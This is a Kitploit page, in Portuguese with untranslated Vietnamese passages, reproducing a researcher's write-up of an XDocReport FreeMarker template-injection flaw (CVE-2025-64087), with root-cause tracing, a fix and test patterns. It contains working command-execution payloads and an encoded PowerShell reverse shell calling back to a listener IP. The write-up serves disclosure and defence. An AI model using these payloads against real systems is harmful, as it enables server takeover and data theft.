Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-64087-SSTI- — CVE-2025-64087 (SSTI) | Kitploit
Ferramentas/GitHubGitHub/at190510-cuong/cve-2025-64087-ssti-
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubat190510-cuong/cve-2025-64087-ssti-

CVE-2025-64087-SSTI-

CVE-2025-64087 (SSTI)

Ver Repositório
11há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-64087 (SSTI FreeMarker)

Injeção de Template do Lado do Servidor (SSTI) no XDocReport permite Execução Remota de Código via mecanismo Apache FreeMarker

Definição da Vulnerabilidade

Visão geral da vulnerabilidade

  • Server-Side Template Injection (SSTI) é uma vulnerabilidade de segurança web que permite a inserção de código malicioso em templates usados por sistemas de gerenciamento de conteúdo (CMS) e frameworks web, visando realizar ataques remotos, obter informações sensíveis ou realizar atividades de invasão do sistema.

  • SSTI é uma variante de vulnerabilidades de injeção (como SQL Injection, XSS, etc.), na qual o invasor explora o uso de sistemas de templates para implantar código malicioso remotamente. Quando um ataque SSTI é bem-sucedido, o invasor pode executar seu próprio código no servidor, permitindo realizar ataques remotos, como coletar informações sensíveis, realizar atividades de invasão do sistema e acessar recursos não autorizados.

  • A vulnerabilidade SSTI geralmente ocorre devido ao uso de sistemas de templates inseguros, ou pela falta de verificação e tratamento dos parâmetros de entrada antes de inseri-los nos templates. Se um ataque SSTI for bem-sucedido, as consequências podem ser graves e causar grandes danos à organização atacada.

Impacto nos negócios

  • A vulnerabilidade SSTI pode causar várias consequências graves, incluindo:

  • Execução de código malicioso: O invasor pode usar essa vulnerabilidade para executar código malicioso no servidor, permitindo roubo de dados, realização de ações ilegais no sistema e até mesmo controle total do servidor.

Baixar ferramenta

Divulgação de informações sensíveis: O SSTI pode permitir que o invasor leia, modifique ou exclua arquivos no servidor. Se esses arquivos contiverem informações sensíveis, como contas e senhas, o invasor pode facilmente expor essas informações.

  • Ataques de ameaça ou enganação de usuários: O invasor pode usar SSTI para realizar ataques de ameaça ou enganação de usuários, alterando o conteúdo da página web ou adicionando botões personalizados falsos. Se o usuário clicar nesses botões, o invasor pode roubar informações do usuário ou instalar software malicioso em seu computador.

  • Severidade: CRÍTICA

    image

    Descrição e Impacto

    Uma vulnerabilidade de Injeção de Template do Lado do Servidor (SSTI) foi encontrada no OpenSAGRES XDocReport ao processar modelos DOCX com o mecanismo FreeMarker. Sob certas configurações, modelos criados podem levar à Execução Remota de Código (RCE).

    O site de gerenciamento de pessoal permite que os usuários façam upload de arquivos de documento .docx para o sistema. Durante o processamento, a aplicação usa o mecanismo de template FreeMarker (no arquivo FreemarkerTemplateEngine.java) para renderizar o conteúdo ${"freemarker.template.utility.Execute"?new()("whoami")} sem nenhum mecanismo de controle ou filtragem do conteúdo de entrada. Essa vulnerabilidade permite que um invasor insira expressões maliciosas em arquivos .docx (modelo), levando à Execução Remota de Código (RCE) no servidor e podendo ser explorada para roubar informações ou assumir o controle do sistema.

    Componente Afetado

    fr.opensagres.xdocreport.template.freemarker — XDocReport (versões 1.0.0 a 2.1.0).

    Análise da Causa Raiz

    • No arquivo https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java não é realizada a verificação do conteúdo do arquivo xdoc de entrada. O conteúdo do modelo é carregado diretamente e passado para process(context, writer, template) para ser processado pelo mecanismo FreeMarker sem nenhum mecanismo de sandboxing ou restrição de diretivas/expressões. Como resultado, um invasor pode fornecer um modelo contendo expressões/comandos FreeMarker maliciosos, levando à execução remota de código (RCE).

    image

    Passos para Reproduzir

    1. O usuário faz o upload de um arquivo .docx cujo conteúdo interno é o seguinte payload:``` ${"freemarker.template.utility.Execute"?new()("calc")}
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    2. Vê que pode executar com sucesso e abrir o aplicativo calc
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    3. Da mesma forma, para obter informações do usuário em execução no sistema com o payload:```
    ${"freemarker.template.utility.Execute"?new()("whoami")}
    

    image

    image

    1. Pode-se ver que o arquivo .docx processado pelo template engine retornou dados do sistema

    image

    1. Similarmente com o seguinte payload:``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")}
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    6. Elevar o impacto para RCE
    
    - A máquina que escuta é wsl com endereço IP `172.26.208.130`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    - explorar com o payload a seguir:
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
    ${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
    

    image

    • Passe o arquivo .docx pelo xdocreport para processamento

    image

    • Nota-se que a shell é retornada na máquina wsl

    image

    Solução

    Bloquear execução de reflection (mais seguro, mas com erro de build)

    • No arquivo xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java adicione os seguintes conteúdos

    image

    image

    Minha correção ainda permite renderizar objetos e propriedades normalmente como ${cuong.name} e apenas bloqueia funções built-in PERIGOSAS

    • Todos os payloads SSTI são bloqueados:
      • ${'freemarker.template.utility.Execute'?new()('calc')} - BLOQUEADO por ALLOWS_NOTHING_RESOLVER
      • ${'java.lang.Runtime'?api.getRuntime()} - BLOQUEADO por setAPIBuiltinEnabled(false)
      • Todos os outros payloads que usam ?new() e ?api são bloqueados

    validar entrada

    1. Arquivo Principal - FreemarkerTemplateEngine.java

    Caminho: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java

    Alterações:

    • ✅ Import adicionado: java.util.regex.Pattern
      image

    • ✅ Método validateTemplateSecurity(Reader reader) adicionado — Valida padrões perigosos
      image

    • ✅ processNoCache() atualizado — Adicionada validação antes de criar o Template
      image

    • ✅ process(String templateName, …) atualizado — Adicionada validação a este método
      image

    2. Arquivo de Teste - FreemarkerTemplateEngineSecurityTestCase.java

    Caminho: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java

    Alterações:

    • ✅ Novo caso de teste criado — Testa payloads SSTI comuns
    • ✅ Payload principal testado: ${"freemarker.template.utility.Execute"?new()("whoami")}
    • ✅ Padrões adicionais testados: ?new, java.lang.Runtime, java.lang.ProcessBuilder, etc.
    • ✅ Teste de template seguro — Garante que templates normais ainda funcionam corretamente

    Resumo das Alterações

    ArquivoTipo de AlteraçãoPropósito
    FreemarkerTemplateEngine.javaModificadoProteção SSTI adicionada
    FreemarkerTemplateEngineSecurityTestCase.javaNovo ArquivoTesta lógica de validação

    Correção final

    • https://github.com/opensagres/xdocreport/pull/705

    image

    image

    Na versão 2.2.0, o mecanismo de proteção foi ativado e o SSTI foi bloqueado com sucesso

    image

    Referências

    • https://portswigger.net/web-security/server-side-template-injection

    Configuração do ambiente de depuração

    image

    • No arquivo Main.java```java package org.example;

    import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;

    import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;

    public class Main {

    root@kitploit:~
    public static void main(String[] args) {
        try {
            // Đọc file đầu vào chứa biểu thức Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
            InputStream input = new FileInputStream(docxTemplate);
    
            // Load template sử dụng FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
    
            // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
            IContext context = report.createContext();
    
            // Xuất ra file mới
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);
    
            System.out.println("✅ Đã tạo file result.docx thành công.");
        } catch (Exception e) {
            System.err.println("❌ Lỗi xử lý file:");
            e.printStackTrace();
        }
    }
    

    }

    root@kitploit:~
    - Bibliotecas a importar```xml
    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
    
        <groupId>org.example</groupId>
        <artifactId>vcs1</artifactId>
        <version>1.0-SNAPSHOT</version>
    
        <properties>
            <maven.compiler.source>18</maven.compiler.source>
            <maven.compiler.target>18</maven.compiler.target>
            <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        </properties>
    
        <dependencies>
            <!-- Template engine: FreeMarker -->
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
                <version>2.1.0</version>
            </dependency>
    
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
                <version>2.0.3</version>
            </dependency>
        </dependencies>
    </project>
    

    A Pontos de início (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");

    root@kitploit:~
    → a source é este arquivo DOCX — se o arquivo for enviado/escrito pelo usuário, o conteúdo do template interno (sintaxe FreeMarker) são dados não confiáveis.```
    InputStream input = new FileInputStream(docxTemplate);
    

    → ler o conteúdo do arquivo para encaminhar ao XDocReport.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

    root@kitploit:~
    - loadReport(...) irá analisar (parse) o arquivo DOCX, encontrar a entrada/template no DOCX e criar um IXDocReport (internamente, ele inicializará o objeto Template do FreeMarker ou manterá um reader para o template).
    
    - O conteúdo do template no arquivo DOCX agora está no objeto report (ainda não foi executado).
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    zipInputStream.getNextEntry() itera sobre cada entrada (cada arquivo) dentro do ZIP (.docx).
    
    archive = new XDocArchive(...) — se ainda não houver archive, inicializa um objeto para organizar/registrar as entradas do documento.
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    Resumindo: esta parte descompacta o conteúdo do DOCX em uma estrutura interna (XDocArchive) para que partes posteriores possam acessar os arquivos filhos (document.xml,...)```java
    private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
                                        ITemplateEngine templateEngine, boolean cacheReport )
            throws IOException, XDocReportException
        {
            initializeIfNeeded();
            // 2) zip was loaded, create an instance of report
            IXDocReport report = createReport( sourceStream );
            // 3) Update the report id if need.
            if ( StringUtils.isEmpty( reportId ) )
            {
                reportId = report.toString();
            }
            report.setId( reportId );
            // 4) Search or set the template engine.
            if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
            {
                // Template engine was not forced.
                // Search template engine
                String documentKind = report.getKind();
                templateEngine =
                    TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
                if ( templateEngine == null )
                {
                    templateEngine =
                        TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
                }
            }
            report.setTemplateEngine( templateEngine );
            if ( cacheReport )
            {
                registerReport( report );
            }
            return report;
        }
    
    PassoAçãoObjetivo
    1Ler arquivo DOCXObter estrutura do relatório original
    2Criar IXDocReportRepresentar o template
    3Atribuir IDGerenciamento único
    4Selecionar mecanismo de templatePara processar expressões (Freemarker/Velocity)
    5Cache se necessárioOtimizar desempenho
    6Retornar relatórioUsado para renderizar arquivo de resultado

    image

    Resumindo, não há mecanismo de verificação de SSTI em IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); mas apenas carrega os arquivos xml no docx e retorna IXDocReport report pronto para ser processado (por exemplo, renderizar, mesclar dados…).

    image

    em report.process(context, out);

    image

    • Este é o ponto de ativação (sink de execução): XDocReport chamará o mecanismo correspondente (aqui FreeMarker) para mesclar o template com o context e renderizar o resultado para out.
    • Este método pega o template do documento (por exemplo, .docx ou .odt) previamente carregado, então insere dados do objeto context (geralmente IContext) nas variáveis do template.
    • Em seguida, renderiza o documento completo (com dados reais) e escreve o resultado no stream out, ou seja, no arquivo results.docx.

    Aprofundando dentro desta função, ela chama preprocess(...) que analisa o XML lendo cada entrada XML, depois analisa o conteúdo XML e cria um BufferedDocument e escreve para o Writer (este é o XML pré-processado).

    image```java public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata, IDocumentFormatter formatter, Map<String, Object> sharedContext ) throws XDocReportException, IOException { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); BufferedDocumentContentHandler<?> contentHandler = createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext ); xmlReader.setContentHandler( contentHandler ); xmlReader.parse( new InputSource( reader ) ); BufferedDocument document = contentHandler.getBufferedDocument(); if ( document != null ) { document.save( writer ); // StringWriter s = new StringWriter(); // document.save( s ); // System.err.println( s ); return true; }

    root@kitploit:~
            return false;
        }
        catch ( SAXException e )
        {
            throw new XDocReportException( e );
        }
    }
    
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    em seguida, ele entra em `processNoCache()` e chama `getReader()`
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    A função `getReader()` é usada para adicionar uma diretiva de escape em torno de todo o template, a fim de garantir que o conteúdo seja processado com segurança (escape HTML, evitar injeção).
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    Template original:```xml
    <w:p>
      <w:t>Hello ${name}!</w:t>
    </w:p>
    

    Após getReader() processar:```xml [#-- Hello ${name}! [/#escape][#--]]>--]

    root@kitploit:~
    isso ajuda o motor Freemarker a ler com mais segurança:
    
    - Proteção XML: Escape de caracteres especiais no XML
    - Manuseio seguro: Evitar erros quando o Freemarker analisa o template
    
    em seguida chama `FMParser` para analisar a sintaxe do Freemarker
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    por fim, em `process()` chama `environment.process();` e reader de dados```
    public void process() throws TemplateException, IOException {
            Object savedEnv = threadEnv.get();
            threadEnv.set(this);
            try {
                // Cached values from a previous execution are possibly outdated.
                clearCachedValues();
                try {
                    doAutoImportsAndIncludes(this);
                    visit(getTemplate().getRootTreeNode());
                    // It's here as we must not flush if there was an exception.
                    if (getAutoFlush()) {
                        out.flush();
                    }
                } finally {
                    // It's just to allow the GC to free memory...
                    clearCachedValues();
                }
            } finally {
                threadEnv.set(savedEnv);
            }
        }
    

    👉 Đây là bước quan trọng nhất — phần render thực sự xảy ra.

    • getTemplate() trả về template đã parse (AST).

    • getRootTreeNode() là nút gốc của cây cú pháp được FMParser tạo ra lúc parse.

    • visit() là API lõi của FreeMarker, dùng để duyệt và render từng phần tử của template, và được định nghĩa trong freemarker.core.Environment

      • Gặp TextBlock → ghi text ra out.

      • Gặp Interpolation (ví dụ ${user.name}) → tra trong dataModel, lấy giá trị, ghi ra out.

      • Gặp #if, #list, #include, macro → xử lý logic tương ứng```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }

    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ele dispara em entryName `word/document.xml`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    em seguida, pula para a função `accept()`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
        TemplateElement[] accept(Environment env) throws TemplateException, IOException {
            final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
            final Writer out = env.getOut();
            if (moOrStr instanceof String) {
                final String s = (String) moOrStr;
                if (autoEscape) {
                    markupOutputFormat.output(s, out);
                } else {
                    out.write(s);
                }
            } else {
                final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
                final MarkupOutputFormat moOF = mo.getOutputFormat();
                // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                if (moOF == outputFormat) {
                    moOF.output(mo, out);
                } else if (!outputFormat.isOutputFormatMixingAllowed()) {
                    final String srcPlainText;
                    // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                    srcPlainText = moOF.getSourcePlainText(mo);
                    if (srcPlainText == null) {
                        throw new _TemplateModelException(escapedExpression,
                                "The value to print is in ", new _DelayedToString(moOF),
                                " format, which differs from the current output format, ",
                                new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
                    }
                    if (markupOutputFormat != null) {
                        markupOutputFormat.output(srcPlainText, out);
                    } else {
                        out.write(srcPlainText);
                    }
                } else if (markupOutputFormat != null) {
                    markupOutputFormat.outputForeign(mo, out);
                } else {
                    moOF.output(mo, out);
                }
            }
            return null;
        }
    

    image```java final TemplateModel eval(Environment env) throws TemplateException { try { return constantValue != null ? constantValue : _eval(env); } catch (FlowControlException | TemplateException e) { throw e; } catch (Exception e) { if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) { throw new _MiscTemplateException( this, e, env, "Expression has thrown an unchecked exception; see the cause exception."); } else if (e instanceof RuntimeException) { throw (RuntimeException) e; } else { throw new UndeclaredThrowableException(e); } } }

    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    O fluxo de execução na função `visit()` é o seguinte```
    visit(Interpolation)                // gọi accept(...)
     └─ Interpolation.accept(env)
         └─ calculateInterpolatedStringOrMarkup(env)
             └─ expression.eval(env)
                 └─ (đến _eval) target.eval(env)   // trả TemplateMethodModel (built-in new()/Execute)
                     └─ targetMethod.exec(arguments)  ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
    
    

    Resumo do debug```

    [User uploads DOCX template] │ ▼ ┌──────────────────────────────────────────┐ │ XDocReportRegistry.loadReport(...) │ │ - Nhận InputStream (file .docx) │ │ - Xác định TemplateEngineKind=Freemarker│ │ - Gọi createReport(...) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FreemarkerTemplateEngine.loadTemplate() │ │ - Gọi new Template(templateName, Reader,│ │ Configuration) │ │ - => FMParser parse nội dung template │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FMParser(this, reader, config) │ │ - Đọc nội dung file (XML trong DOCX) │ │ - Phân tích cú pháp │ │ Tạo AST (cây cú pháp): │ │ ├─ TextBlock ("Hello") │ │ ├─ DollarVariable (${name}) │ │ └─ FunctionCall (${Runtime.exec(...)})│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment env = │ │ template.createProcessingEnvironment() │ │ env.process() │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment.process() │ │ - clearCachedValues() │ │ - doAutoImportsAndIncludes() │ │ - visit(getTemplate().getRootTreeNode())│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ visit(TemplateElement node) │ │ - node.accept(env) │ │ - Ghi kết quả ra writer (output stream) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Nếu node là ${...} │ │ ⇒ ExpressionEvaluator được gọi │ │ ⇒ eval() biểu thức bên trong ${} │ │ ⇒ Có thể truy cập method Java nếu chưa │ │ bị sandbox hoặc hạn chế │ │ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │ └──────────────────────────────────────────┘ │ ▼ 🚨 Kết quả: Server-Side Template Injection (SSTI)

    root@kitploit:~
    ## 🔍 **Resumo dos pontos-chave exploráveis**
    
    | Etapa                   | Classe               | Função               | Relacionado a SSTI         |
    | ----------------------- | -------------------- | -------------------- | -------------------------- |
    | `loadReport()`          | `XDocReportRegistry` | Carregar template    | Sem controle de entrada    |
    | `getReader()`           | `TemplateEngine`     | Ler dados do template| Pode conter payload        |
    | `FMParser`              | `freemarker.core`    | Analisar conteúdo    | Variáveis `${}` são analisadas |
    | `Environment.process()` | `freemarker.core`    | Renderizar template  | Chamar `visit()` para cada nó |
    | `visit()` / `eval()`    | `freemarker.core`    | Executar expressão   | **Ponto SSTI / RCE**       |
    
    ---
    
    ## Documentação
    
    - https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link